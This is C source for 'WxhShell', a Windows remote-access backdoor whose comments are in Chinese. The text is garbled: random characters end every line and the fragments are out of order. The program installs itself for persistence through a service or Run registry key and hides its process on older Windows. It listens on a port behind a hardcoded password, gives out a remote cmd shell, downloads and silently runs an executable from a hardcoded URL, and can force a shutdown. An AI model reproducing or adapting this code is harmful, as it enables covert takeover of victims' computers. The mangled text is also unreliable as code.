  case 'd': { t? _{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LQa1p  
    if(Boot(SHUTDOWN)) )0 i$Bo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oat #%  
    else { D?9EO=  
    closesocket(wsh); @|Hx >|p  
    ExitThread(0); 8BM[c;-{g`  
    } .+CMm5T  
    break; >tV:QP]Y  
    } 78u=Jz6  
  // 获取shell *(Us:*$W.  
  case 's': { U,^jN|v  
    CmdShell(wsh); 'J#uD|9)  
    closesocket(wsh); *|/kKvN  
    ExitThread(0); H AMps[D[  
    break; uGS^*W$  
  } >qynd'eToR  
  // 退出 ' ui`EL%  
  case 'x': { VV=6v;u`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]hA]o7 k  
    CloseIt(wsh); LfG$?<}hR  
    break; Kl+4A}Uo  
    } d Y]i AJ  
  // 离开 /Oa.@53tK6  
  case 'q': { %'[ pucEF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e#{l  
    closesocket(wsh); U\",!S~<  
    WSACleanup(); w'!J   
    exit(1); ju;Myi}a  
    break; IHf#P5y_  
        } f n\&%`U  
  } ~Uaz;<"j0  
  } bR|1* <  
*Ja,3Qq  
  // 提示信息 0'tm.,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n(el  
} :Nw7!fd  
  } \b|Q`)TK  
82Nw 6om6i  
  return; 08E,U  
} 5%(xZ  6  
B?<Z(d7  
// shell模块句柄 OL$^7FB  
int CmdShell(SOCKET sock) . aqP=  
{ =J&aN1Hgt  
STARTUPINFO si; bR? $a+a)  
ZeroMemory(&si,sizeof(si)); vke]VXU9z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d`4@aoM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &5;y&dh  
PROCESS_INFORMATION ProcessInfo; ffE>%M*  
char cmdline[]="cmd"; JQWW's}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v D4<G{  
  return 0; d9uT*5f  
} I45\xP4i  
~6:y@4&F  
// 自身启动模式 p` LPO  
int StartFromService(void) cK+y3`.0  
{ r=pb7=M#LN  
typedef struct vE+OL8V  
{ $;%dQ!7*  
  DWORD ExitStatus; QCk(qlN'h9  
  DWORD PebBaseAddress; 'l3K*lck  
  DWORD AffinityMask; {V9}W<  
  DWORD BasePriority; (Qys`D   
  ULONG UniqueProcessId; 7u7 <"?v=  
  ULONG InheritedFromUniqueProcessId; >c:- ;(k  
}   PROCESS_BASIC_INFORMATION; f:K`M W  
; +E@h=?  
PROCNTQSIP NtQueryInformationProcess; U?Icyn3q0  
|MXv  w6P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 jeUYkJUM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pxm~2PAm  
hFWK^]~ a  
  HANDLE             hProcess; Lg4I6 G  
  PROCESS_BASIC_INFORMATION pbi; BHBMMjY5  
l<mEGKB#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8q& *tpE  
  if(NULL == hInst ) return 0; IKV:J9  
ZIrJ"*QO=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A?sU[b6_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PNMf5'@m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x2g P, p-  
a0ze7F<(  
  if (!NtQueryInformationProcess) return 0; ]tVXao  
RDu'N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m}3POl/*j  
  if(!hProcess) return 0; B>&eciY  
5U/1Z{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l6Q75i)eF  
NTtRz(   
  CloseHandle(hProcess); :+>:>$ao  
S*1Km&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NCM&6<_  
if(hProcess==NULL) return 0; : Gz#4k  
zl !`*{T{  
HMODULE hMod; U'acVcD  
char procName[255]; ~|~j01#  
unsigned long cbNeeded; 8oj-5|ct  
H-,RzL/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ){oVVLs  
W}5H'D  
  CloseHandle(hProcess); _(8HK  
\o j#*aL^  
if(strstr(procName,"services")) return 1; // 以服务启动 (g@e=m7Q  
zz4A,XrD  
  return 0; // 注册表启动 @pD']=d}t  
} Bu$GCSrX  
:K6(`J3Y"^  
// 主模块 <IBzh_  
int StartWxhshell(LPSTR lpCmdLine) 9GZKT{*  
{ [af<FQ{  
  SOCKET wsl; emV@kN.  
BOOL val=TRUE; NX(.Lw}  
  int port=0; '?~k`zK  
  struct sockaddr_in door; ?DC3BA\)  
a,U =irBA  
  if(wscfg.ws_autoins) Install(); h?:lO3)TL=  
z AxwM-`  
port=atoi(lpCmdLine); q#RVi8('  
WqC6 c&NM  
if(port<=0) port=wscfg.ws_port; }hFjl4`xa  
E5M*Gs  
  WSADATA data; ),-4\!7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6 tbH(  
{Z_Pry$6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I/s?] v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /.\$%bua  
  door.sin_family = AF_INET; 8F<Qc*'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X3:-+]6,d  
  door.sin_port = htons(port); j]"Yz t~u  
UP]J `\$o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m GWT</=[$  
closesocket(wsl); "l&sDh%Lk<  
return 1; &0 VM <  
} <bf^'$l  
ud`.}H~aB  
  if(listen(wsl,2) == INVALID_SOCKET) { %Ya-;&;`  
closesocket(wsl); t$=0  C  
return 1; Nky%v+r  
} VB 8t"5  
  Wxhshell(wsl); +6!.)Ea=  
  WSACleanup(); e3wFi,/@  
5CkM0G`  
return 0; P$)9osr  
x c-=;|s  
} 56o?=|  
dxkXt  k  
// 以NT服务方式启动 (iK0T.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,F J9C3  
{ X./4at`  
DWORD   status = 0; >:s.` jV<  
  DWORD   specificError = 0xfffffff; 'lv\I9"S)  
,h1r6&MEY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h.QKbbDj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,7pO-:*g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1GW=QbO 6  
  serviceStatus.dwWin32ExitCode     = 0; }@Oy kN  
  serviceStatus.dwServiceSpecificExitCode = 0; T"Wq:  
  serviceStatus.dwCheckPoint       = 0; )*^PMf  
  serviceStatus.dwWaitHint       = 0;  -[a0\H  
`ge{KB;*n#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d*1@lmV*  
  if (hServiceStatusHandle==0) return; .l*]W!L]  
CPGXwM=   
status = GetLastError(); e@L'H)w,  
  if (status!=NO_ERROR) h2KXW}y"4  
{ 6kjBd3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |J`YFv  
    serviceStatus.dwCheckPoint       = 0; Us YH#?|O  
    serviceStatus.dwWaitHint       = 0; 5RTAM  
    serviceStatus.dwWin32ExitCode     = status; oa`,|dA"  
    serviceStatus.dwServiceSpecificExitCode = specificError; P!m~tu}B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @-;-DB]j  
    return; Xig+[2zS  
  } 7BF't!-2F  
yaA9* k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5in6Y5ckj  
  serviceStatus.dwCheckPoint       = 0; wLU w'Ai  
  serviceStatus.dwWaitHint       = 0; ^<<( }3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5gV8=Ml"V  
} ag?@5q3J}  
L"tj DAV  
// 处理NT服务事件,比如:启动、停止 ^?toTU   
VOID WINAPI NTServiceHandler(DWORD fdwControl) DSy,#yA  
{ /Yx 1S'5  
switch(fdwControl) mxQS9y  
{ s+^o[R T3  
case SERVICE_CONTROL_STOP: eF}Q8]da  
  serviceStatus.dwWin32ExitCode = 0; X<(h)&E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k KL^U  
  serviceStatus.dwCheckPoint   = 0; (J<@e!@NE  
  serviceStatus.dwWaitHint     = 0; )u ]<8  
  { Tc\^=e^N?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,q/K&'0`  
  } G+'MTC_  
  return; $K,rVTU  
case SERVICE_CONTROL_PAUSE: 2X)E3V/*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z[AJat@H  
  break; XT= #+  
case SERVICE_CONTROL_CONTINUE: 4lb3quY$Us  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rg_-gZl8&z  
  break; f8N  
case SERVICE_CONTROL_INTERROGATE: xvjHGgWSxc  
  break; QhZ!A?':U  
}; c.,:r X0S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "a`0s_F,^  
} JO7IzD\  
BaiC;&(   
// 标准应用程序主函数 YT, 1E>rd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `U!eh1*b  
{ ED"5y  
Y#{KGVT<  
// 获取操作系统版本 ',6QL4qV/  
OsIsNt=GetOsVer(); M5exo   
GetModuleFileName(NULL,ExeFile,MAX_PATH); =t&B8+6  
*xU^e`P  
  // 从命令行安装  mbd  
  if(strpbrk(lpCmdLine,"iI")) Install(); v2EM| Q xp  
w>H!H6Q  
  // 下载执行文件 \ fU{$  
if(wscfg.ws_downexe) { x7Ly,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %MbjKw  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lvv`_  
} w*#k&N[X  
WqY:XE+?\  
if(!OsIsNt) { u/ y`M]17  
// 如果时win9x,隐藏进程并且设置为注册表启动 <s+=v!  
HideProc(); w69`vK  
StartWxhshell(lpCmdLine); A~I}[O~(pb  
} %r6~5_A  
else !j%)nU  
  if(StartFromService()) I^M3>}p  
  // 以服务方式启动 xfO!v>  
  StartServiceCtrlDispatcher(DispatchTable); *qY`MW  
else N##3k-0Ao  
  // 普通方式启动 $hn_4$  
  StartWxhshell(lpCmdLine); !&SUoa  
<B$Lu4b@c  
return 0; 9S&6u1  
} Mk|h ><Q"  
'$1-A%e$1  
F2oY_mA  
.b  N0!  
=========================================== 8dIgw  
i]hFiX  
wOHK dQ'  
fgn*3 pg  
nsw.\(#  
79:x>i=  
" JZu7Fb]L9  
&ks>.l\  
#include <stdio.h> a_QO)  
#include <string.h> w|?Nq?KA  
#include <windows.h> NqhRJa63  
#include <winsock2.h> R\0]\JEc  
#include <winsvc.h> 1ZhJ?PI,9{  
#include <urlmon.h> :$/lGIz  
 A{5 k}  
#pragma comment (lib, "Ws2_32.lib") Ha)w*1&w"  
#pragma comment (lib, "urlmon.lib") |;rjr_I  
$Xz9xzOR  
#define MAX_USER   100 // 最大客户端连接数 kc~Z1  
#define BUF_SOCK   200 // sock buffer <T  
#define KEY_BUFF   255 // 输入 buffer %tUJ >qYU  
k[Uc _=  
#define REBOOT     0   // 重启 Ik;~u8j1e  
#define SHUTDOWN   1   // 关机 ,D ;`t  
z6'zNM7M  
#define DEF_PORT   5000 // 监听端口 @YpA'cX7  
=,gss&J!!  
#define REG_LEN     16   // 注册表键长度 _Mq@58q'  
#define SVC_LEN     80   // NT服务名长度 8"8sI  
x*BfRj  
// 从dll定义API 1K^/@^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^x 4,}'(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,W{Qv<oo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x3wyIio*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SGNi~o  
qUpMq:Uw  
// wxhshell配置信息 v{?9PRf\s  
struct WSCFG { z?j~ 2K<4  
  int ws_port;         // 监听端口 I|Z5*iXqCm  
  char ws_passstr[REG_LEN]; // 口令 fB  
  int ws_autoins;       // 安装标记, 1=yes 0=no (zJ TBI'  
  char ws_regname[REG_LEN]; // 注册表键名 !R{L`T0  
  char ws_svcname[REG_LEN]; // 服务名 ']Y:f)i#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T`a [~:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /MQd[03]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2$[u&__E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jn)~@~c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m]7yc>uDy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CzNSJVE5  
PcUi+[s;x  
}; Fo?2nQ<  
P>4(+s  
// default Wxhshell configuration /:yKa=$  
struct WSCFG wscfg={DEF_PORT, =\:YNP/  
    "xuhuanlingzhe", `jP\*k`~]  
    1, 2!]':(8mR  
    "Wxhshell", !WVF{L,/I  
    "Wxhshell", q3scz  
            "WxhShell Service", gyI5;il~  
    "Wrsky Windows CmdShell Service", %@H;6   
    "Please Input Your Password: ", 4^AE;= Q  
  1, "=yaeEp  
  "http://www.wrsky.com/wxhshell.exe", v,+2CVdW  
  "Wxhshell.exe" ,p$1n;  
    }; >K50 h  
!^l<jrM  
// 消息定义模块 g%4|vA8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z${B|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .]v8W51Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lpSM p  
char *msg_ws_ext="\n\rExit."; oxcAKo  
char *msg_ws_end="\n\rQuit."; J]N-^ld\\  
char *msg_ws_boot="\n\rReboot..."; ^BNg^V.  
char *msg_ws_poff="\n\rShutdown..."; .f(x9|K^  
char *msg_ws_down="\n\rSave to "; ] MUuz'<  
Eg  w?  
char *msg_ws_err="\n\rErr!"; 8uT@$ ./  
char *msg_ws_ok="\n\rOK!"; bE]2:~  
M5 Pvc  
char ExeFile[MAX_PATH]; uERc\TZ  
int nUser = 0; ]dk~C?H  
HANDLE handles[MAX_USER]; lW^RwNcd  
int OsIsNt; _5.7HEw>/  
1S.nqOfx  
SERVICE_STATUS       serviceStatus; $stJ+uh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (q:L_zFj>"  
mI"|^!L  
// 函数声明 6"jq/Pu  
int Install(void); 42# rhgW  
int Uninstall(void); !30Dice  
int DownloadFile(char *sURL, SOCKET wsh); 5p=T*Y  
int Boot(int flag); 47 m:z5;  
void HideProc(void); \n:'>:0X!  
int GetOsVer(void); bh uA,}  
int Wxhshell(SOCKET wsl); J,+| Fb  
void TalkWithClient(void *cs); G.T}^ xHmL  
int CmdShell(SOCKET sock); 0%'&s)#  
int StartFromService(void); ^(UL$cQ>  
int StartWxhshell(LPSTR lpCmdLine); T-|z18|!  
Zf?>:P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u^iK?S#Ci8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BS+N   
E>SnH  
// 数据结构和表定义  eCk}B$ 2  
SERVICE_TABLE_ENTRY DispatchTable[] = NsWyxcty  
{ Ej6vGC.,  
{wscfg.ws_svcname, NTServiceMain}, ir%/9=^d  
{NULL, NULL} x\x>_1oP  
}; Zr oj-3-X~  
HRPTP+  
// 自我安装 + s1mm c  
int Install(void) Z$HYXm  
{ w(.k6:e  
  char svExeFile[MAX_PATH]; c5]^jUB6  
  HKEY key; XQlK}AK  
  strcpy(svExeFile,ExeFile); aSKI %<?xN  
mNcTO0p&  
// 如果是win9x系统,修改注册表设为自启动 J qjb@'i  
if(!OsIsNt) { j<wg>O:s%r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` [@ F3x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MH!'g7iK8  
  RegCloseKey(key); d;;]+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R2t5T-8`c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rf]]I#C7  
  RegCloseKey(key); oD~VK,.  
  return 0; >,32~C  
    } 3Yg/-=U(  
  } mpXc o *!_  
} Ay2Vz>{  
else { <P}{0Y~@*W  
>RF[0s'-  
// 如果是NT以上系统,安装为系统服务 $S=lm {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /-G;#Wm  
if (schSCManager!=0) ~G5)ya-  
{ <\2,7K{{+;  
  SC_HANDLE schService = CreateService j"J2&Y2  
  ( M<g>z6   
  schSCManager, LuR.;TiW  
  wscfg.ws_svcname, 9$ UjZ$ v  
  wscfg.ws_svcdisp, .T4"+FTzP  
  SERVICE_ALL_ACCESS, NaB8cLURp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n1.]5c3p  
  SERVICE_AUTO_START, ;se-IDN  
  SERVICE_ERROR_NORMAL, M/ R#f9W  
  svExeFile, X#gZgz ='  
  NULL, h_x"/z&  
  NULL, h"]v+u`!SM  
  NULL, 3D;\V&([  
  NULL, f:Ju20D  
  NULL }UQBaqDH  
  ); [S-NGip  
  if (schService!=0) rv:,Os_  
  { c?>Q!sC  
  CloseServiceHandle(schService); d8dREhK&  
  CloseServiceHandle(schSCManager); XSn^$$S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GfL}f9  
  strcat(svExeFile,wscfg.ws_svcname); r$R(4q:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Dq3e9fX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \W}?4kz  
  RegCloseKey(key); !=|3^A  
  return 0; 8$xg\l0?KK  
    } ]}~*uT}>  
  } i nF&Pv  
  CloseServiceHandle(schSCManager); D8BK/E-  
} URX>(Y}g9^  
} c,X\1yLy  
`m@06Q  
return 1; yhgHwES"  
} ~\:+y  
HrEZ]iQ@O0  
// 自我卸载 AEOo]b*&d  
int Uninstall(void) Aj SIM.  
{ ~*THL0]~  
  HKEY key; ,? <jue/bd  
qmtVk  
if(!OsIsNt) { B5zu?AG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { li%=<?%T  
  RegDeleteValue(key,wscfg.ws_regname); ^e<0-uM" s  
  RegCloseKey(key); WLv( K_3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BLuILE:$  
  RegDeleteValue(key,wscfg.ws_regname); P0k|33;7L  
  RegCloseKey(key); uTBls8  
  return 0; a?M<r>  
  } o^d(mJZ.F~  
} c*HS#C7'2  
} s)]i0+!  
else { Y-gjX$qGo  
y3c]zDjV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kO~xE-(=  
if (schSCManager!=0) n M,m#"AI  
{ W446;)?5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @,pO%,E6  
  if (schService!=0) l4|bpR Cp  
  { Uj1^?d+b  
  if(DeleteService(schService)!=0) { _I3j 7f,V  
  CloseServiceHandle(schService); 9\R:J"X  
  CloseServiceHandle(schSCManager); 2AzF@Pi^z  
  return 0; .LN&EfMenF  
  } FFK79e/5  
  CloseServiceHandle(schService); 9k&lq$  
  } #O\4XZ,Lv  
  CloseServiceHandle(schSCManager); E6y/,s^~S_  
} Y}(v[QGV  
} 6V*@ {  
4US8B=jk  
return 1; V0c*M>V  
} Q?I)1][ !"  
B`iQN7fd  
// 从指定url下载文件 %n=!H  
int DownloadFile(char *sURL, SOCKET wsh) U$ _?T-x  
{ {~[H"h537t  
  HRESULT hr; :&#hjeltt  
char seps[]= "/"; -r/#20Y  
char *token; el;^cMY  
char *file; EYcvD^!1g  
char myURL[MAX_PATH]; yQM7QLbTk  
char myFILE[MAX_PATH]; 8y/YX  
{ZY^tTsY  
strcpy(myURL,sURL); l/DV ?27  
  token=strtok(myURL,seps); s7D_fv4e  
  while(token!=NULL) C W7E2 ^P$  
  { lWd)(9K j  
    file=token; 9kH~+  
  token=strtok(NULL,seps); C>:F4"0  
  } }8fxCW*|  
N@58R9P<p  
GetCurrentDirectory(MAX_PATH,myFILE); Xi4!7IOm o  
strcat(myFILE, "\\"); f?2Y np=@  
strcat(myFILE, file); !b7]n-1zs  
  send(wsh,myFILE,strlen(myFILE),0); ` {k>I^Pg  
send(wsh,"...",3,0); G0^23j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y^2`)':  
  if(hr==S_OK) {!o-y=  
return 0; Qh? E* 9  
else p%]* I?  
return 1; |\XjA4j  
Q`,D#V${D  
} &z 1A-O v  
5R{ {FD`h  
// 系统电源模块 >Y1?`  
int Boot(int flag) 7h&$^  
{ P@PZm  
  HANDLE hToken;  aVz<RS  
  TOKEN_PRIVILEGES tkp; ~Rs|W;  
.%U~ r2Y(  
  if(OsIsNt) { ?0DCjh8We  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9bMM-~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -l`@pklQ  
    tkp.PrivilegeCount = 1; h<Yn0(.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; one^XYy1%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _B 8e 1an  
if(flag==REBOOT) { 2 t< dCw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PxfeU2^{0  
  return 0; lqF{Y<l  
} y$r9Y!?s  
else { U^+9l?ol  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d?v#gW  
  return 0; Ke&lGf"5  
} mB"zyL-  
  } 2^ ^;Q:  
  else { ,b-wo  
if(flag==REBOOT) { k]qZOO}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,au64sH  
  return 0; &VY;Al  
} = <O{t#]  
else { +y6|Nq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zv@'x nY]  
  return 0; ojs&W]r0Z  
} i\3BA"ZX  
} -102W{V/T  
W ;P1T"*A  
return 1; ' uo`-Y  
} u5H#(&Om  
}<2F]UuR  
// win9x进程隐藏模块 a_waLH/  
void HideProc(void) ;wL *  
{ U"%k4]:A  
pvI(hjMYPk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uf4QQ `c#  
  if ( hKernel != NULL ) Rb#Z'1D'G  
  { {;n?c$r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }E*d)n|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wju~5  
    FreeLibrary(hKernel); r?{Vqephz  
  } Kp ~k!6x  
D4 {gt\V  
return; (PsA[>F  
} #7lkj:j4  
3a!/EP  
// 获取操作系统版本 rHT8a^MO  
int GetOsVer(void) M0=ZAsN  
{ D'fP2?3FK  
  OSVERSIONINFO winfo; g#9w5Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pqMv YF  
  GetVersionEx(&winfo); nI2}E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0WF(Ga/o  
  return 1; O<6/0ub&+h  
  else l>~:lBO  
  return 0; :{_Or'L  
} q E$ .a[  
zesEbR)j  
// 客户端句柄模块 uqTOEHH7  
int Wxhshell(SOCKET wsl) F|xXMpC.f  
{ @h>#cwhU  
  SOCKET wsh; zHb<YpU  
  struct sockaddr_in client; 4 3]6J]!)  
  DWORD myID; :e+GtN?  
e!tgWYN  
  while(nUser<MAX_USER) &Ei dc .  
{ a(x[+ El  
  int nSize=sizeof(client); aCGPtA'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _9!Ru!u~  
  if(wsh==INVALID_SOCKET) return 1; k_P`t[YZV  
T2Y`q'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PO&xi9_  
if(handles[nUser]==0) `c:'il?  
  closesocket(wsh); 7c %@2  
else VZAdc*X  
  nUser++; OUI}jJw+  
  } ry~3YYEMI0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M#<x2ojW  
^ / f*5k  
  return 0; 2<ef&?ljk  
} /R|"/B0  
_& KaI }O  
// 关闭 socket R)<Fqa7Tm  
void CloseIt(SOCKET wsh) s3J T1TX  
{ d57(#)`  
closesocket(wsh); m G?a)P  
nUser--; KOi%zE%  
ExitThread(0); WCR+ZXI?1  
} elKQge  
nJ*NI)  
// 客户端请求句柄 ]\#RsVX  
void TalkWithClient(void *cs) ni~45WX3  
{ oC4rL\d{  
?a}eRA7  
  SOCKET wsh=(SOCKET)cs; xZ;';}&pj  
  char pwd[SVC_LEN]; X\1D[n:  
  char cmd[KEY_BUFF]; ngm7Vs  
char chr[1]; {F@;45)o  
int i,j; |I OTW=>  
Rx`0VQ  
  while (nUser < MAX_USER) { QO#ZQ~  
V{d"cs>9  
if(wscfg.ws_passstr) { 1d\K{ 7i#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cs]xs9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 |F (qR  
  //ZeroMemory(pwd,KEY_BUFF); 4?%0z) g  
      i=0; tmb0zuJ&C!  
  while(i<SVC_LEN) { da I-*  
t:M>&r:BL  
  // 设置超时 #(  kT  
  fd_set FdRead; b]|7{yMV  
  struct timeval TimeOut; QQ!,W':  
  FD_ZERO(&FdRead); kQ'G+Kw~F  
  FD_SET(wsh,&FdRead); YmF`7W  
  TimeOut.tv_sec=8; Z<&: W8n  
  TimeOut.tv_usec=0; TzK?bbgr!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HH+rib'u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xPb`CY7  
C{2 UPG4x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |9_e2OwH  
  pwd=chr[0]; 8uI^ B  
  if(chr[0]==0xd || chr[0]==0xa) { !. 0W?6yo  
  pwd=0; IgFz[)  
  break; 9R ugkGy  
  } Z>M*!mQi  
  i++; q5HHMHB  
    } OmoY] 8N}  
Q'A->I<;_s  
  // 如果是非法用户,关闭 socket (1Kh9w:^"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M2oKLRt)L  
} V).M\  
.pdgRjlSn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?^"S%Vb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7gJy xQ  
MaMs(  
while(1) { <?Lj!JGX  
aX~iY ~?_  
  ZeroMemory(cmd,KEY_BUFF); Eydk64 5:3  
lcUL7  
      // 自动支持客户端 telnet标准   #a .aD+d'  
  j=0; #vDe/o+=  
  while(j<KEY_BUFF) { g8qN+Gg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l7x%G@1#~W  
  cmd[j]=chr[0]; qY0Ic5wCY  
  if(chr[0]==0xa || chr[0]==0xd) { |faXl3|  
  cmd[j]=0; $hEX,  
  break; Wo2M}]0  
  } h[lh01z  
  j++; N86Hn]#  
    } lq%s/l  
#[i({1`^L  
  // 下载文件 xknP `T  
  if(strstr(cmd,"http://")) { =E,*8O]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sX**'cH  
  if(DownloadFile(cmd,wsh)) W5yqnjK $4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fh?q;oEj  
  else ;XTP^W!6f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Wj9Stj5  
  } 1= <Qnmw  
  else { R_H di~ k  
kj-S d^  
    switch(cmd[0]) { +Uk/Zg w^  
